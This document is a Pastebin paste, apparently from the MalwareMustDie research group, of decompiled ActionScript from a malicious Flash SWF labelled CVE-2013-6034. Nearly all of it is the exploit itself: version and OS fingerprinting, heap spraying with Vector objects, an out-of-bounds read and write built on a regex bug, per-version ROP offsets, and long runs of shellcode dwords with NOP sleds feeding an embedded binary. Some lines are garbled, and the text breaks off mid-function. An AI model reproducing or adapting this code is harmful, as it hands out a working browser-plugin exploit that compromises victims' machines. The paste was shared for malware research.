MalwareMustDie

#MalwareMustDie - SWF of CVE-2013-6034 jinxed + decompiled

Feb 10th, 2013
3,039
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.21 KB | None | 0 0
  1. // #MalwareMustDie
  2. // SWF of CVE-2013-6034 decompiled
  3.  
  4.  
  5. package mx.core {
  6.  
  7. public namespace mx_internal = "h00p://www.adobe.com/2006/flex/mx/internal";
  8. } //package mx.core
  9. package mx.core {
  10.  
  11. public interface IFlexAsset {
  12.  
  13. }
  14. } //package mx.core
  15. package mx.core {
  16. import flash.utils.*;
  17.  
  18. public class ByteArrayAsset extends ByteArray implements IFlexAsset {
  19.  
  20. mx_internal static const version: string = "4.6.0.23201";
  21.  
  22. }
  23. } //package mx.core
  24. package {
  25. import __AS3__.vec.*;
  26. import flash.display.*;
  27. import flash.utils.*;
  28. import flash.text.*;
  29. import flash.system.*;
  30. import flash.media.*;
  31. import flash.net.*;
  32.  
  33. public class LadyBoyle extends Sprite {
  34.  
  35. private
  36. var the_x32_Class: class;
  37. private
  38. var the_x64_Class: class;
  39. public
  40. var version;
  41.  
  42. public
  43. function LadyBoyle() {
  44. var _local2: string;
  45. var _local23: number;
  46. var _local24: string;
  47. var _local25: uint;
  48. var _local26: uint;
  49. var _local27: string;
  50. var _local28: ByteArray;
  51. var _local29: Vector. < uint > ;
  52. var _local30: Vector. < uint > ;
  53. var _local31: uint;
  54. var _local32: uint;
  55. var _local33: uint;
  56. var _local34: * ;
  57. var _local35: ByteArray;
  58. var _local36: uint;
  59. var _local37: uint;
  60. var _local38: uint;
  61. var _local39: uint;
  62. var _local40: uint;
  63. this.the_x32_Class = LadyBoyle_the_x32_Class;
  64. this.the_x64_Class = LadyBoyle_the_x64_Class;
  65. this.version = capabilities.version.tolowercase()
  66. .tostring();
  67. super();
  68. var _local1: uint;
  69. var _local3: uint;
  70. var _local4: ByteArray = new ByteArray();
  71. var _local5: Vector. < Object > = new < Object > [];
  72. var _local6: sound = new sound();
  73. var _local7: uint;
  74. var _local8: uint;
  75. var _local9: uint;
  76. var _local10: uint;
  77. var _local11: uint;
  78. var _local12: uint;
  79. var _local13: uint;
  80. var _local14: uint;
  81. var _local15: uint;
  82. var _local16: uint;
  83. var _local17: ByteArray = _local4;
  84. switch (this.version) { /// get the version and select case of it..
  85. case "win 11,5,502,146":
  86. break;
  87. case "win 11,5,502,135":
  88. break;
  89. case "win 11,5,502,110":
  90. break;
  91. case "win 11,4,402,287":
  92. break;
  93. case "win 11,4,402,278":
  94. break;
  95. case "win 11,4,402,265":
  96. break;
  97. default:
  98. return (this.empty());
  99. };
  100. var _local18: sharedobject = sharedobject.getlocal("ImplentenstWell");
  101. if (_local18.size != 0) {
  102. _local23 = (new date()
  103. .time - _local18.data.now);
  104. if (_local23 > ((((7 * 24) * 60) * 60) * 1000)) {
  105. _local18.close();
  106. } else {
  107. return (this.empty());
  108. };
  109. };
  110. var _local19: string = capabilities.os.tolowercase()
  111. .tostring();
  112. switch (_local19) {
  113. case "windows 7":
  114. break;
  115. case "windows server 2008 r2":
  116. break;
  117. case "windows server 2008":
  118. break;
  119. case "windows server 2003 r2":
  120. break;
  121. case "windows server 2003":
  122. break;
  123. case "windows xp":
  124. break;
  125. case "windows vista":
  126. break;
  127. default:
  128. return (this.empty());
  129. };
  130. _local1 = 0;
  131. while (_local1 < 0x4000) {
  132. _local24 = "";
  133. _local3 = 0;
  134. while (_local3 < 42) {
  135. _local24 = (_local24 + string.fromcharcode(this.randRange(97, 122)));
  136. _local3++;
  137. };
  138. _local5[_local1] = new < Object > [new RegExp(_local24, ""), new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _locallocal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _loca new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4,cal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4ocal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _locallocal4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4]];
  139. _local1++;
  140. };
  141. _local1 = 8210;
  142. while (_local1 < (0x4000 - 1)) {
  143. if ((_local1 % 2) != 0) {
  144. _local5[_local1][2] = null;
  145. };
  146. _local1++;
  147. };
  148. _local2 = "(?i)()()(?-i)||||||||||||||||||||||";
  149. var _local20: RegExp = new RegExp(_local2, "");
  150. var _local21: boolean;
  151. var _local22: uint;
  152. _local1 = 0;
  153. while (_local1 < 0x4000) {
  154. if (_local21) {
  155. break;
  156. };
  157. _local8 = 1;
  158. while (_local8 <= 8) {
  159. try {
  160. if ((_local5[_local1][_local8] as Vector. < Number > )
  161. .length > 17) {
  162. _local7 = _local1;
  163. _local22 = _local8;
  164. _local21 = true;
  165. break;
  166. };
  167. } catch (e: error) {};
  168. _local8++;
  169. };
  170. _local1++;
  171. };
  172. if (!_local21) {
  173. do {} while (1);
  174. };
  175. if (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[0] == 16) {
  176. _local9 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[1];
  177. (_local5[_local7][_local22] as Vector. < Number > )[17] = this.UintToDouble(0xFFFFFFFF, _local9);
  178. (_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0);
  179. _local21 = false;
  180. _local1 = 0;
  181. while (_local1 < 0x4000) {
  182. if (_local21) {
  183. break;
  184. };
  185. _local8 = 1;
  186. while (_local8 <= 8) {
  187. try {
  188. if (this.ReadDouble((_local5[_local1][_local8] as Vector. < Number > ), 0)[0] == 0x41414141) {
  189. _local7 = _local1;
  190. _local22 = _local8;
  191. _local21 = true;
  192. break;
  193. };
  194. } catch (e: error) {};
  195. _local8++;
  196. };
  197. _local1++;
  198. };
  199. if (!_local21) {
  200. do {} while (1);
  201. };
  202. (_local5[_local7][_local22] as Vector. < Number > )[536870893] = this.UintToDouble(16, _local9);
  203. _local1 = 0;
  204. while (_local1 < 0x1000) {
  205. if ((((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local1)[1] == 32)) && ((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[0] == 1)))) {
  206. _local11 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[1] & 0xFFFFFFF8);
  207. _local12 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[0] & 0xFFFFFFF8);
  208. _local13 = _local12;
  209. break;
  210. };
  211. _local1++;
  212. };
  213. if (_local1 == 0x1000) {
  214. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  215. return;
  216. };
  217. _local1 = 0;
  218. while (_local1 < 0x4000) {
  219. _local8 = 1;
  220. while (_local8 <= 8) {
  221. if (!(((_local1 == _local7)) && ((_local8 == _local22)))) {
  222. _local5[_local1][_local8] = null;
  223. };
  224. _local8++;
  225. };
  226. _local1++;
  227. };
  228. _local1 = 1;
  229. while (_local1 < 4) {
  230. _local29 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((17 * _local1) + (_local1 - 1)));
  231. _local30 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((17 * (_local1 + 1)) + _local1));
  232. if ((((((((((_local29[1] == _local9)) && ((_local30[1] == _local9)))) && ((_local29[1] < _local29[0])))) && ((_local30[1] < _local30[0])))) && (((_local30[0] - _local29[0]) == 144)))) {
  233. _local10 = (_local29[0] - (144 * (_local1 + 1)));
  234. break;
  235. };
  236. _local1++;
  237. };
  238. if (_local10 == 0) {
  239. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  240. return;
  241. };
  242. _local1 = 0;
  243. while (_local1 < (0x0400 * 100)) {
  244. _local17.writeUnsignedInt(0x41414141);
  245. _local1++;
  246. };
  247. _local15 = ((((_local12 + 64) - _local10) - 8) / 8);
  248. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  249. _local15 = ((((_local12 + 8) - _local10) - 8) / 8);
  250. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  251. _local12 = (_local12 + _local17.position);
  252. _local14 = _local17.position;
  253. _local15 = (((_local11 - _local10) - 8) / 8);
  254. _local16 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  255. _local25 = 0;
  256. _local26 = 0;
  257. _local27 = capabilities.version.tolowercase();
  258. switch (_local27) {
  259. case "win 11,5,502,146":
  260. if (capabilities.playertype.tolowercase() == "activex") { ///// this will check the player type
  261. _local25 = (_local16 - 1838536); ///// and execute value if it is activex
  262. _local26 = (_local16 - 574720);
  263. };
  264. break;
  265. case "win 11,5,502,135":
  266. if (capabilities.playertype.tolowercase() == "activex") {
  267. _local25 = (_local16 - 2266027);
  268. _local26 = (_local16 - 574864);
  269. };
  270. break;
  271. case "win 11,5,502,110":
  272. if (capabilities.playertype.tolowercase() == "activex") {
  273. _local25 = (_local16 - 1600110);
  274. _local26 = (_local16 - 574424);
  275. };
  276. break;
  277. case "win 11,4,402,287":
  278. if (capabilities.playertype.tolowercase() == "activex") {
  279. _local25 = (_local16 - 4624790);
  280. _local26 = (_local16 - 574196);
  281. };
  282. break;
  283. case "win 11,4,402,278":
  284. if (capabilities.playertype.tolowercase() == "activex") {
  285. _local25 = (_local16 - 1227937);
  286. _local26 = (_local16 - 573876);
  287. };
  288. break;
  289. case "win 11,4,402,265":
  290. if (capabilities.playertype.tolowercase() == "activex") {
  291. _local25 = (_local16 - 7925883);
  292. _local26 = (_local16 - 573876);
  293. };
  294. break;
  295. default: ////// without activeX too.....
  296.  
  297. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  298. return;
  299. };
  300. if ((((((_local27 == "win 11,5,502,110")) || ((_local27 == "win 11,5,502,135")))) || ((_local27 == "win 11,5,502,146")))) {
  301. _local15 = (((_local26 - _local10) - 8) / 8);
  302. _local26 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  303. } else {
  304. _local15 = ((((_local26 - 4) - _local10) - 8) / 8);
  305. _local26 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1];
  306. };
  307. _local17.endian = Endian.LITTLE_ENDIAN;
  308. _local17.position = (_local17.position + 112);
  309. _local17.writeUnsignedInt(_local25);
  310. _local17.position = ((_local17.position - 112) - 4);
  311. _local17.writeUnsignedInt(_local26);
  312. _local17.writeUnsignedInt((_local12 + 136));
  313. _local17.writeUnsignedInt(_local12);
  314. _local17.writeUnsignedInt(0x2000);
  315. _local17.writeUnsignedInt(0x1000);
  316. _local17.writeUnsignedInt(64);
  317. _local17.position = (_local17.position + 112);
  318. _local17.writeUnsignedInt(3968045260);
  319. _local17.writeUnsignedInt(1692087152);
  320. _local17.writeUnsignedInt(2333629323);
  321. _local17.writeUnsignedInt(1535848539);
  322. _local17.writeUnsignedInt(475761420);
  323. _local17.writeUnsignedInt(2332578699);
  324. _local17.writeUnsignedInt(2089499770);
  325. _local17.writeUnsignedInt(3163368506);
  326. _local17.writeUnsignedInt(0xE0003A);
  327. _local17.writeUnsignedInt(0x408BB800);
  328. _local17.writeUnsignedInt(121226032);
  329. _local17.writeUnsignedInt(3947299700);
  330. _local17.writeUnsignedInt(1760529401);
  331. _local17.writeUnsignedInt(0x6C0065);
  332. _local17.writeUnsignedInt(0x6E007268);
  333. _local17.writeUnsignedInt(0x6B6800);
  334. _local17.writeUnsignedInt(0x33FC0065);
  335. _local17.writeUnsignedInt(2333838281);
  336. _local17.writeUnsignedInt(544967668);
  337. _local17.writeUnsignedInt(2817721265);
  338. _local17.writeUnsignedInt(1535898485);
  339. _local17.writeUnsignedInt(1012108040);
  340. _local17.writeUnsignedInt(2014991499);
  341. _local17.writeUnsignedInt(3961144461);
  342. _local17.writeUnsignedInt(1418450431);
  343. _local17.writeUnsignedInt(3540197402);
  344. _local17.writeUnsignedInt(3375612675);
  345. _local17.writeUnsignedInt(4328);
  346. _local17.writeUnsignedInt(0x74655300);
  347. _local17.writeUnsignedInt(1701996628);
  348. _local17.writeUnsignedInt(1866687585);
  349. _local17.writeUnsignedInt(2019914862);
  350. _local17.writeUnsignedInt(607423348);
  351. _local17.writeUnsignedInt(4211292811);
  352. _local17.writeUnsignedInt(2817721521);
  353. _local17.writeUnsignedInt(3263367284);
  354. _local17.writeUnsignedInt(79725316);
  355. _local17.writeUnsignedInt(277605355);
  356. _local17.writeUnsignedInt(3224621827);
  357. _local17.writeUnsignedInt(548522123);
  358. _local17.writeUnsignedInt(2884893835);
  359. _local17.writeUnsignedInt(270795975);
  360. _local17.writeUnsignedInt(0x54000100);
  361. _local17.writeUnsignedInt(3539992170);
  362. _local17.writeUnsignedInt(0x90909090);
  363. _local17.writeUnsignedInt(0x90909090);
  364. _local17.writeUnsignedInt(0x90909090);
  365. _local17.writeUnsignedInt(0x90909090);
  366. _local17.writeUnsignedInt(15499616);
  367. _local17.writeUnsignedInt(0x8B000004);
  368. _local17.writeUnsignedInt(1548208124);
  369. _local17.writeUnsignedInt(0x41414141);
  370. _local17.writeUnsignedInt(1481099152);
  371. _local17.writeUnsignedInt(0x42424242);
  372. _local17.writeUnsignedInt(1949435847);
  373. _local17.writeUnsignedInt(1204227217);
  374. _local17.writeUnsignedInt(169053700);
  375. _local17.writeUnsignedInt(138921900);
  376. _local17.writeUnsignedInt(2206065209);
  377. _local17.writeUnsignedInt(2399946695);
  378. _local17.writeUnsignedInt(3345029362);
  379. _local17.writeUnsignedInt(848498759);
  380. _local17.writeUnsignedInt(1204262116);
  381. _local17.writeUnsignedInt(2614448148);
  382. _local17.writeUnsignedInt(407357387);
  383. _local17.writeUnsignedInt(3685531203);
  384. _local17.writeUnsignedInt(2988197831);
  385. _local17.writeUnsignedInt(3339915062);
  386. _local17.writeUnsignedInt(2378440775);
  387. _local17.writeUnsignedInt(1204253727);
  388. _local17.writeUnsignedInt(2721009956);
  389. _local17.writeUnsignedInt(675792641);
  390. _local17.writeUnsignedInt(4279068247);
  391. _local17.writeUnsignedInt(2603370439);
  392. _local17.writeUnsignedInt(3353709447);
  393. _local17.writeUnsignedInt(2951557191);
  394. _local17.writeUnsignedInt(1204270335);
  395. _local17.writeUnsignedInt(1259979316);
  396. _local17.writeUnsignedInt(944228097);
  397. _local17.writeUnsignedInt(2594566269);
  398. _local17.writeUnsignedInt(3829155783);
  399. _local17.writeUnsignedInt(3351614507);
  400. _local17.writeUnsignedInt(2649505863);
  401. _local17.writeUnsignedInt(1204266079);
  402. _local17.writeUnsignedInt(863489092);
  403. _local17.writeUnsignedInt(19392911);
  404. _local17.writeUnsignedInt(0xC0330000);
  405. _local17.writeUnsignedInt(3187044);
  406. _local17.writeUnsignedInt(0x408B0000);
  407. _local17.writeUnsignedInt(339774220);
  408. _local17.writeUnsignedInt(0x8B008B);
  409. _local17.writeUnsignedInt(2333098123);
  410. _local17.writeUnsignedInt(1794608104);
  411. _local17.writeUnsignedInt(3253229841);
  412. _local17.writeUnsignedInt(0xE2000000);
  413. _local17.writeUnsignedInt(2179894265);
  414. _local17.writeUnsignedInt(262380);
  415. _local17.writeUnsignedInt(0x89C03300);
  416. _local17.writeUnsignedInt(2106273861);
  417. _local17.writeUnsignedInt(2170508380);
  418. _local17.writeUnsignedInt(131308);
  419. _local17.writeUnsignedInt(0x685700);
  420. _local17.writeUnsignedInt(0xFF000001);
  421. _local17.writeUnsignedInt(3224569941);
  422. _local17.writeUnsignedInt(121405504);
  423. _local17.writeUnsignedInt(0x89F97500);
  424. _local17.writeUnsignedInt(80175173);
  425. _local17.writeUnsignedInt(1667391751);
  426. _local17.writeUnsignedInt(121947950);
  427. _local17.writeUnsignedInt(1734763268);
  428. _local17.writeUnsignedInt(0x6A006A00);
  429. _local17.writeUnsignedInt(0x6A026A00);
  430. _local17.writeUnsignedInt(0x68006A00);
  431. _local17.writeUnsignedInt(0x40000000);
  432. _local17.writeUnsignedInt(272993111);
  433. _local17.writeUnsignedInt(18920);
  434. _local17.writeUnsignedInt(0xF88300);
  435. _local17.writeUnsignedInt(1166619262);
  436. _local17.writeUnsignedInt(1078314804);
  437. _local17.writeUnsignedInt(0);
  438. _local17.writeUnsignedInt(0x458D006A);
  439. _local17.writeUnsignedInt(1979666500);
  440. _local17.writeUnsignedInt(1551236952);
  441. _local17.writeUnsignedInt(4281628159);
  442. _local17.writeUnsignedInt(1979654229);
  443. _local17.writeUnsignedInt(676724532);
  444. _local17.writeUnsignedInt(541443927);
  445. _local17.writeUnsignedInt(1098385763);
  446. _local17.writeUnsignedInt(0xE800458B);
  447. _local17.writeUnsignedInt(18);
  448. _local17.writeUnsignedInt(130335873);
  449. _local17.writeUnsignedInt(0x8D610000);
  450. _local17.writeUnsignedInt(1791218789);
  451. _local17.writeUnsignedInt(0xFFFF6AFF);
  452. _local17.writeUnsignedInt(947915861);
  453. _local17.writeUnsignedInt(2148168936);
  454. _local17.writeUnsignedInt(91547960);
  455. _local17.writeUnsignedInt(1978349696);
  456. _local17.writeUnsignedInt(91783441);
  457. _local17.writeUnsignedInt(0x90909090);
  458. _local17.writeUnsignedInt(4287301748);
  459. _local17.writeUnsignedInt(2381089621);
  460. _local17.writeUnsignedInt(3774809408);
  461. _local17.writeUnsignedInt(1972065873);
  462. _local17.writeUnsignedInt(779389756);
  463. _local17.writeUnsignedInt(1458897784);
  464. _local17.writeUnsignedInt(52459147);
  465. _local17.writeUnsignedInt(1237922805);
  466. _local17.writeUnsignedInt(3305352513);
  467. _local17.writeUnsignedInt(3188710195);
  468. _local17.writeUnsignedInt(1960196624);
  469. _local17.writeUnsignedInt(130793736);
  470. _local17.writeUnsignedInt(3946895875);
  471. _local17.writeUnsignedInt(1964981233);
  472. _local17.writeUnsignedInt(1586192103);
  473. _local17.writeUnsignedInt(1725760292);
  474. _local17.writeUnsignedInt(2336951435);
  475. _local17.writeUnsignedInt(3707968606);
  476. _local17.writeUnsignedInt(59442315);
  477. _local17.writeUnsignedInt(1499376581);
  478. _local17.writeUnsignedInt(4275366083);
  479. _local17.writeUnsignedInt(2425421823);
  480. _local17.writeUnsignedInt(0x90909090);
  481. _local18.data.now = new date()
  482. .time;
  483. _local18.flush();
  484. _local18.close();
  485. _local28 = new this.the_x32_Class(); /// x32
  486. _local17.writeBytes(_local28, 0, _local28.length);
  487. _local12 = _local13;
  488. _local15 = ((((_local12 + 64) - _local10) - 8) / 8);
  489. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  490. _local15 = ((((_local12 + 8) - _local10) - 8) / 8);
  491. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  492. _local12 = (_local12 + _local14);
  493. _local17.position = (_local14 + 112); /// building x32 bit binary......
  494. _local17.writeUnsignedInt(_local25);
  495. _local17.position = ((_local17.position - 112) - 4);
  496. _local17.writeUnsignedInt(_local26);
  497. _local17.writeUnsignedInt((_local12 + 136));
  498. _local17.writeUnsignedInt(_local12);
  499. _local17.writeUnsignedInt(0x2000);
  500. _local17.writeUnsignedInt(0x1000);
  501. _local17.writeUnsignedInt(64);
  502. _local17.position = (_local17.position + 112);
  503. _local17.writeUnsignedInt(3968032912);
  504. _local17.writeUnsignedInt(1692087152);
  505. _local17.writeUnsignedInt(2333629323);
  506. _local17.writeUnsignedInt(1535848539);
  507. _local17.writeUnsignedInt(475761420);
  508. _local17.writeUnsignedInt(2332578699);
  509. _local17.writeUnsignedInt(2089499770);
  510. _local17.writeUnsignedInt(3163368506);
  511. _local17.writeUnsignedInt(0xE0003A);
  512. _local17.writeUnsignedInt(0x408BB800);
  513. _local17.writeUnsignedInt(121226032);
  514. _local17.writeUnsignedInt(3947299700);
  515. _local17.writeUnsignedInt(1760529401);
  516. _local17.writeUnsignedInt(0x6C0065);
  517. _local17.writeUnsignedInt(0x6E007268);
  518. _local17.writeUnsignedInt(0x6B6800);
  519. _local17.writeUnsignedInt(0x33FC0065);
  520. _local17.writeUnsignedInt(2333838281);
  521. _local17.writeUnsignedInt(544967668);
  522. _local17.writeUnsignedInt(2817721265);
  523. _local17.writeUnsignedInt(1535898485);
  524. _local17.writeUnsignedInt(1012108040);
  525. _local17.writeUnsignedInt(2014991499);
  526. _local17.writeUnsignedInt(3961144461);
  527. _local17.writeUnsignedInt(1418450431);
  528. _local17.writeUnsignedInt(3540197402);
  529. _local17.writeUnsignedInt(3375612675);
  530. _local17.writeUnsignedInt(4328);
  531. _local17.writeUnsignedInt(0x74655300);
  532. _local17.writeUnsignedInt(1701996628);
  533. _local17.writeUnsignedInt(1866687585);
  534. _local17.writeUnsignedInt(2019914862);
  535. _local17.writeUnsignedInt(607423348);
  536. _local17.writeUnsignedInt(4211292811);
  537. _local17.writeUnsignedInt(2817721521);
  538. _local17.writeUnsignedInt(3263367284);
  539. _local17.writeUnsignedInt(79725316);
  540. _local17.writeUnsignedInt(277605355);
  541. _local17.writeUnsignedInt(3224621827);
  542. _local17.writeUnsignedInt(548522123);
  543. _local17.writeUnsignedInt(2884893835);
  544. _local17.writeUnsignedInt(270795975);
  545. _local17.writeUnsignedInt(0x54000100);
  546. _local17.writeUnsignedInt(3539992170);
  547. _local17.writeUnsignedInt(0x90909090);
  548. _local17.writeUnsignedInt(0x90909090);
  549. _local17.writeUnsignedInt(0x90909090);
  550. _local17.writeUnsignedInt(0x90909090);
  551. _local17.writeUnsignedInt(552370528);
  552. _local17.writeUnsignedInt(0x8B000001);
  553. _local17.writeUnsignedInt(1548208124);
  554. _local17.writeUnsignedInt((((_local12 + 616) + 176) - 4));
  555. _local17.writeUnsignedInt(1481099152);
  556. _local17.writeUnsignedInt(_local28.length);
  557. _local15 = (((_local11 - _local10) - 8) / 8);
  558. (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local12, this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1]);
  559. new number(_local6.tostring());
  560. (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local16, this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1]);
  561. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  562. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  563. return;
  564. };
  565. if (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 16)[0] == 16) {
  566. _local31 = 0;
  567. _local31 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[1];
  568. _local9 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[0];
  569. (_local5[_local7][_local22] as Vector. < Number > )[16] = this.UintToDouble(0xFFFFFFFF, 0);
  570. (_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0);
  571. _local32 = _local7;
  572. _local33 = _local22;
  573. _local21 = false;
  574. _local1 = 0;
  575. while (_local1 < 0x4000) {
  576. if (_local21) {
  577. break;
  578. };
  579. _local8 = 1;
  580. while (_local8 <= 8) {
  581. try {
  582. if (this.ReadDouble((_local5[_local1][_local8] as Vector. < Number > ), 0)[0] == 0x41414141) {
  583. _local7 = _local1;
  584. _local22 = _local8;
  585. _local21 = true;
  586. break;
  587. };
  588. } catch (e: error) {};
  589. _local8++;
  590. };
  591. _local1++;
  592. };
  593. if (!_local21) {
  594. do {} while (1);
  595. };
  596. _local1 = 0;
  597. while (_local1 < 0x1000) {
  598. if ((((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local1)[0] == 32)) && ((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[0] == 1)))) {
  599. _local11 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[0] & 0xFFFFFFF8);
  600. _local12 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 3))[0] & 0xFFFFFFF8);
  601. _local13 = _local12;
  602. break;
  603. };
  604. _local1++;
  605. };
  606. if (_local1 == 0x1000) {
  607. do {} while (1);
  608. };
  609. if (((!((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[1] == _local31))) || (!((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 3))[1] == _local31))))) {
  610. do {} while (1);
  611. };
  612. _local1 = 0;
  613. while (_local1 < 0x4000) {
  614. _local8 = 1;
  615. while (_local8 <= 8) {
  616. if (((!((((_local1 == _local7)) && ((_local8 == _local22))))) && (!((((_local1 == _local32)) && ((_local8 == _local33))))))) {
  617. _local5[_local1][_local8] = null;
  618. };
  619. _local8++;
  620. };
  621. _local1++;
  622. };
  623. _local1 = 1;
  624. while (_local1 < 4) {
  625. _local29 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((16 * _local1) + (2 * (_local1 - 1))));
  626. _local30 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((16 * (_local1 + 1)) + (2 * ((_local1 + 1) - 1))));
  627. if ((((((_local29[1] < _local29[0])) && ((_local30[1] < _local30[0])))) && (((_local30[0] - _local29[0]) == 144)))) {
  628. _local10 = (_local29[0] - (144 * (_local1 + 1)));
  629. break;
  630. };
  631. _local1++;
  632. };
  633. if (_local10 == 0) {
  634. do {} while (1);
  635. };
  636. _local1 = 0;
  637. while (_local1 < (0x0400 * 100)) {
  638. _local17.writeUnsignedInt(0x41414141);
  639. _local1++;
  640. };
  641. _local15 = ((((_local12 + 128) - _local10) - 16) / 8);
  642. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  643. _local15 = ((((_local12 + 16) - _local10) - 16) / 8);
  644. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  645. _local12 = (_local12 + _local17.position);
  646. _local14 = _local17.position;
  647. _local15 = (((_local11 - _local10) - 16) / 8);
  648. _local16 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  649. _local25 = 0;
  650. _local26 = 0;
  651. _local27 = capabilities.version.tolowercase();
  652. switch (_local27) {
  653. case "win 11,5,502,146":
  654. if (capabilities.playertype.tolowercase() == "activex") { /// Exploit to Adobe Flash 11,5,502,146
  655. _local25 = (_local16 - 9071905);
  656. _local26 = (_local16 - 9089174);
  657. _local36 = (_local16 - 9060829);
  658. _local37 = (_local16 - 7731648);
  659. _local38 = (_local16 - 11089788);
  660. _local39 = (_local16 - 9449127);
  661. _local40 = (_local16 - 11110664);
  662. };
  663. break;
  664. case "win 11,5,502,135":
  665. if (capabilities.playertype.tolowercase() == "activex") { /// Exploit to Adobe Flash 11,5,502,135":
  666. _local25 = (_local16 - 9292362);
  667. _local26 = (_local16 - 9088790);
  668. _local36 = (_local16 - 8914426);
  669. _local37 = (_local16 - 7731936);
  670. _local38 = (_local16 - 9903898);
  671. _local39 = (_local16 - 9448767);
  672. _local40 = (_local16 - 3107441);
  673. };
  674. break;
  675. case "win 11,5,502,110":
  676. if (capabilities.playertype.tolowercase() == "activex") { /// Exploit to Adobe Flash 11,5,502,110":
  677. _local25 = (_local16 - 9071861);
  678. _local26 = (_local16 - 9089094);
  679. _local36 = (_local16 - 8914810);
  680. _local37 = (_local16 - 9484510);
  681. _local38 = (_local16 - 11089740);
  682. _local39 = (_local16 - 9449051);
